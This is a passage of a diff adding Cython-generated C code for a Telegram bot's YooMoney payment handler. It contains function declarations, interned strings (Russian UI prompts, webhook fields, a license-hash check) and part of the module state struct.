__pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.yoomoney_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.yoomoney_pay" +extern int __pyx_module_is_main_handlers__payments__yoomoney_pay; +int __pyx_module_is_main_handlers__payments__yoomoney_pay = 0; + +/* Implementation of "handlers.payments.yoomoney_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k__2[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__3[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__4[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__6[] = "|"; +static const char __pyx_k__8[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k__9[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k__10[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; +static const char __pyx_k__12[] = "&"; +static const char __pyx_k__13[] = "\320\237\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \321\205\321\215\321\210\320\260 \320\275\320\265 \320\277\321\200\320\276\320\271\320\264\320\265\320\275\320\260"; +static const char __pyx_k__15[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__16[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__19[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__20[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__21[] = "*"; +static const char __pyx_k__22[] = "."; +static const char __pyx_k__29[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_post[] = "post"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_sha1[] = "sha1"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_label[] = "label"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_sender[] = "sender"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_codepro[] = "codepro"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_hashlib[] = "hashlib"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_amount_2[] = ", amount: "; +static const char __pyx_k_currency[] = "currency"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_datetime[] = "datetime"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_yoomoney[] = "yoomoney_"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_hexdigest[] = "hexdigest"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_sha1_hash[] = "sha1_hash"; +static const char __pyx_k_Account_ID[] = "Account ID: "; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_account_id[] = "account_id"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_yoomoney_2[] = "yoomoney"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_YOOMONEY_ID[] = "YOOMONEY_ID"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_customer_id[] = "customer_id"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_payment_url[] = "payment_url"; +static const char __pyx_k_solonet_sup[] = "\342\235\214 \320\237\320\270\321\200\320\260\321\202\321\201\320\272\320\260\321\217 \320\262\320\265\321\200\321\201\320\270\321\217, \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203 @solonet_sup."; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_user_id_str[] = "user_id_str"; +static const char __pyx_k_web_Request[] = "web.Request"; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_operation_id[] = "operation_id"; +static const char __pyx_k_pay_yoomoney[] = "pay_yoomoney"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_YOOKASSA_HASH[] = "YOOKASSA_HASH"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_expected_hash[] = "expected_hash"; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const char __pyx_k_string_to_hash[] = "string_to_hash"; +static const char __pyx_k_update_balance[] = "update_balance"; +static const char __pyx_k_user_id_amount[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\272\320\276\320\275\320\262\320\265\321\200\321\202\320\260\321\206\320\270\320\270 user_id \320\270\320\273\320\270 amount: "; +static const char __pyx_k_PAYMENT_OPTIONS[] = "PAYMENT_OPTIONS"; +static const char __pyx_k_YOOKASSA_HASH_2[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 YOOKASSA_HASH. \320\222\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\277\321\200\320\265\321\200\320\262\320\260\320\275\320\276."; +static const char __pyx_k_YOOMONEY_ENABLE[] = "YOOMONEY_ENABLE"; +static const char __pyx_k_calculated_hash[] = "calculated_hash"; +static const char __pyx_k_inline_keyboard[] = "inline_keyboard"; +static const char __pyx_k_withdraw_amount[] = "withdraw_amount"; +static const char __pyx_k_yoomoney_amount[] = "yoomoney_amount"; +static const char __pyx_k_HASHHASHYOOKASSA[] = "HASHHASHYOOKASSA"; +static const char __pyx_k_confirm_keyboard[] = "confirm_keyboard"; +static const char __pyx_k_yoomoney_webhook[] = "yoomoney_webhook"; +static const char __pyx_k_aiogram_fsm_state[] = "aiogram.fsm.state"; +static const char __pyx_k_notification_type[] = "notification_type"; +static const char __pyx_k_asyncio_coroutines[] = "asyncio.coroutines"; +static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; +static const char __pyx_k_YOOMONEY_SECRET_KEY[] = "YOOMONEY_SECRET_KEY"; +static const char __pyx_k_aiogram_fsm_context[] = "aiogram.fsm.context"; +static const char __pyx_k_notification_secret[] = "notification_secret"; +static const char __pyx_k_types_CallbackQuery[] = "types.CallbackQuery"; +static const char __pyx_k_InlineKeyboardButton[] = "InlineKeyboardButton"; +static const char __pyx_k_InlineKeyboardMarkup[] = "InlineKeyboardMarkup"; +static const char __pyx_k_InlineKeyboardBuilder[] = "InlineKeyboardBuilder"; +static const char __pyx_k_ReplenishBalanceState[] = "ReplenishBalanceState"; +static const char __pyx_k_Webhook_event_received[] = "Webhook event received: "; +static const char __pyx_k_aiogram_utils_keyboard[] = "aiogram.utils.keyboard"; +static const char __pyx_k_handlers_payments_gift[] = "handlers.payments.gift"; +static const char __pyx_k_check_connection_exists[] = "check_connection_exists"; +static const char __pyx_k_handlers_payments_utils[] = "handlers.payments.utils"; +static const char __pyx_k_choosing_amount_yoomoney[] = "choosing_amount_yoomoney"; +static const char __pyx_k_process_amount_selection[] = "process_amount_selection"; +static const char __pyx_k_process_custom_amount_input[] = "process_custom_amount_input"; +static const char __pyx_k_process_enter_custom_amount[] = "process_enter_custom_amount"; +static const char __pyx_k_enter_custom_amount_yoomoney[] = "enter_custom_amount_yoomoney"; +static const char __pyx_k_paymentType_PC_comment_label[] = "&paymentType=PC&comment=\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260&label="; +static const char __pyx_k_Payment_succeeded_for_user_id[] = "Payment succeeded for user_id: "; +static const char __pyx_k_process_callback_pay_yoomoney[] = "process_callback_pay_yoomoney"; +static const char __pyx_k_handlers_payments_yoomoney_pay[] = "handlers.payments.yoomoney_pay"; +static const char __pyx_k_quickpay_form_shop_targets_sum[] = "&quickpay-form=shop&targets=&sum="; +static const char __pyx_k_entering_custom_amount_yoomoney[] = "entering_custom_amount_yoomoney"; +static const char __pyx_k_handlers_payments_yoomoney_pay_p[] = "handlers/payments/yoomoney_pay.py"; +static const char __pyx_k_https_yoomoney_ru_quickpay_confi[] = "https://yoomoney.ru/quickpay/confirm.xml?receiver="; +static const char __pyx_k_send_payment_success_notificatio[] = "send_payment_success_notification"; +static const char __pyx_k_waiting_for_payment_confirmation[] = "waiting_for_payment_confirmation_yoomoney"; +/* #### Code section: decls ### */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_process_callback_pay_yoomoney(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state, PyObject *__pyx_v_session); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_3process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_6yoomoney_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_9process_enter_custom_amount(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_12process_custom_amount_input(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_message, PyObject *__pyx_v_state); /* proto */ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +static PyObject *__pyx_tp_new_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ +/* #### Code section: late_includes ### */ +/* #### Code section: module_state ### */ +typedef struct { + PyObject *__pyx_d; + PyObject *__pyx_b; + PyObject *__pyx_cython_runtime; + PyObject *__pyx_empty_tuple; + PyObject *__pyx_empty_bytes; + PyObject *__pyx_empty_unicode; + #ifdef __Pyx_CyFunction_USED + PyTypeObject *__pyx_CyFunctionType; + #endif + #ifdef __Pyx_FusedFunction_USED + PyTypeObject *__pyx_FusedFunctionType; + #endif + #ifdef __Pyx_Generator_USED + PyTypeObject *__pyx_GeneratorType; + #endif + #ifdef __Pyx_IterableCoroutine_USED + PyTypeObject *__pyx_IterableCoroutineType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineAwaitType; + #endif + #ifdef __Pyx_Coroutine_USED + PyTypeObject *__pyx_CoroutineType; + #endif + #if CYTHON_USE_MODULE_STATE + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; + PyObject *__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; + #endif + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount; + PyTypeObject *__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input; + PyObject *__pyx_kp_u_Account_ID; + PyObject *__pyx_n_s_Any; + PyObject *__pyx_n_s_F; + PyObject *__pyx_n_s_FSMContext; + PyObject *__pyx_n_u_HASHHASHYOOKASSA; + PyObject *__pyx_n_s_InlineKeyboardBuilder; + PyObject *__pyx_n_s_InlineKeyboardButton; + PyObject *__pyx_n_s_InlineKeyboardMarkup; + PyObject *__pyx_n_s_PAYMENT_OPTIONS; + PyObject *__pyx_kp_u_Payment_succeeded_for_user_id; + PyObject *__pyx_n_s_ReplenishBalanceState; + PyObject *__pyx_n_s_Response; + PyObject *__pyx_n_s_Router; + PyObject *__pyx_n_s_State; + PyObject *__pyx_n_s_StatesGroup; + PyObject *__pyx_n_s_ValueError; + PyObject *__pyx_kp_u_Webhook_event_received; + PyObject *__pyx_n_s_YOOKASSA_HASH; + PyObject *__pyx_kp_u_YOOKASSA_HASH_2; + PyObject *__pyx_n_s_YOOMONEY_ENABLE; + PyObject *__pyx_n_s_YOOMONEY_ID; + PyObject *__pyx_n_s_YOOMONEY_SECRET_KEY; + PyObject *__pyx_kp_u__10; + PyObject *__pyx_kp_u__12; + PyObject *__pyx_kp_u__13; + PyObject *__pyx_kp_u__15; + PyObject *__pyx_kp_u__16; + PyObject *__pyx_kp_u__19; + PyObject *__pyx_kp_u__2; + PyObject *__pyx_kp_u__20; + PyObject *__pyx_n_s__21; + PyObject *__pyx_kp_u__22; + PyObject *__pyx_n_s__29; + PyObject *__pyx_kp_u__3; + PyObject *__pyx_kp_u__4; + PyObject *__pyx_kp_u__6; + PyObject *__pyx_n_u__8; + PyObject *__pyx_kp_u__9; + PyObject *__pyx_n_s_account_id; + PyObject *__pyx_n_s_add_connection; + PyObject *__pyx_n_s_add_payment; + PyObject *__pyx_n_s_aiogram; + PyObject *__pyx_n_s_aiogram_fsm_context; + PyObject *__pyx_n_s_aiogram_fsm_state; + PyObject *__pyx_n_s_aiogram_types; + PyObject *__pyx_n_s_aiogram_utils_keyboard; + PyObject *__pyx_n_s_aiohttp; + PyObject *__pyx_n_s_amount; + PyObject *__pyx_n_u_amount; + PyObject *__pyx_kp_u_amount_2; + PyObject *__pyx_n_s_amount_str; + PyObject *__pyx_n_s_answer; + PyObject *__pyx_n_s_args; + PyObject *__pyx_n_s_as_markup; + PyObject *__pyx_n_s_asyncio_coroutines; + PyObject *__pyx_n_s_await; + PyObject *__pyx_n_s_balance; + PyObject *__pyx_n_s_builder; + PyObject *__pyx_n_s_calculated_hash; + PyObject *__pyx_n_s_callback_data; + PyObject *__pyx_n_u_callback_data; + PyObject *__pyx_n_s_callback_query; + PyObject *__pyx_n_s_chat; + PyObject *__pyx_n_s_check_connection_exists; + PyObject *__pyx_n_s_choosing_amount_yoomoney; + PyObject *__pyx_n_s_class_getitem; + PyObject *__pyx_n_s_cline_in_traceback; + PyObject *__pyx_n_s_close; + PyObject *__pyx_n_u_codepro; + PyObject *__pyx_n_s_config; + PyObject *__pyx_n_s_confirm_keyboard; + PyObject *__pyx_n_u_currency; + PyObject *__pyx_n_s_customer_id; + PyObject *__pyx_n_s_data; + PyObject *__pyx_n_s_database; + PyObject *__pyx_n_u_datetime; + PyObject *__pyx_n_s_debug; + PyObject *__pyx_n_s_dict; + PyObject *__pyx_kp_u_disable; + PyObject *__pyx_n_s_doc; + PyObject *__pyx_n_s_e; + PyObject *__pyx_kp_u_enable; + PyObject *__pyx_n_u_enter_custom_amount_yoomoney; + PyObject *__pyx_n_s_entering_custom_amount_yoomoney; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_hash; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handlers_payments_gift; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_payments_yoomoney_pay; + PyObject *__pyx_kp_s_handlers_payments_yoomoney_pay_p; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_n_s_hashlib; + PyObject *__pyx_n_s_hexdigest; + PyObject *__pyx_kp_u_https_yoomoney_ru_quickpay_confi; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_isdigit; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_u_label; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_notification_secret; + PyObject *__pyx_n_u_notification_type; + PyObject *__pyx_n_u_operation_id; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_yoomoney; + PyObject *__pyx_kp_u_paymentType_PC_comment_label; + PyObject *__pyx_n_s_payment_url; + PyObject *__pyx_n_s_post; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_yoomoney; + PyObject *__pyx_n_s_process_custom_amount_input; + PyObject *__pyx_n_s_process_enter_custom_amount; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_kp_u_quickpay_form_shop_targets_sum; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_u_sender; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_n_s_sha1; + PyObject *__pyx_n_s_sha1_hash; + PyObject *__pyx_n_u_sha1_hash; + PyObject *__pyx_kp_u_solonet_sup; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + 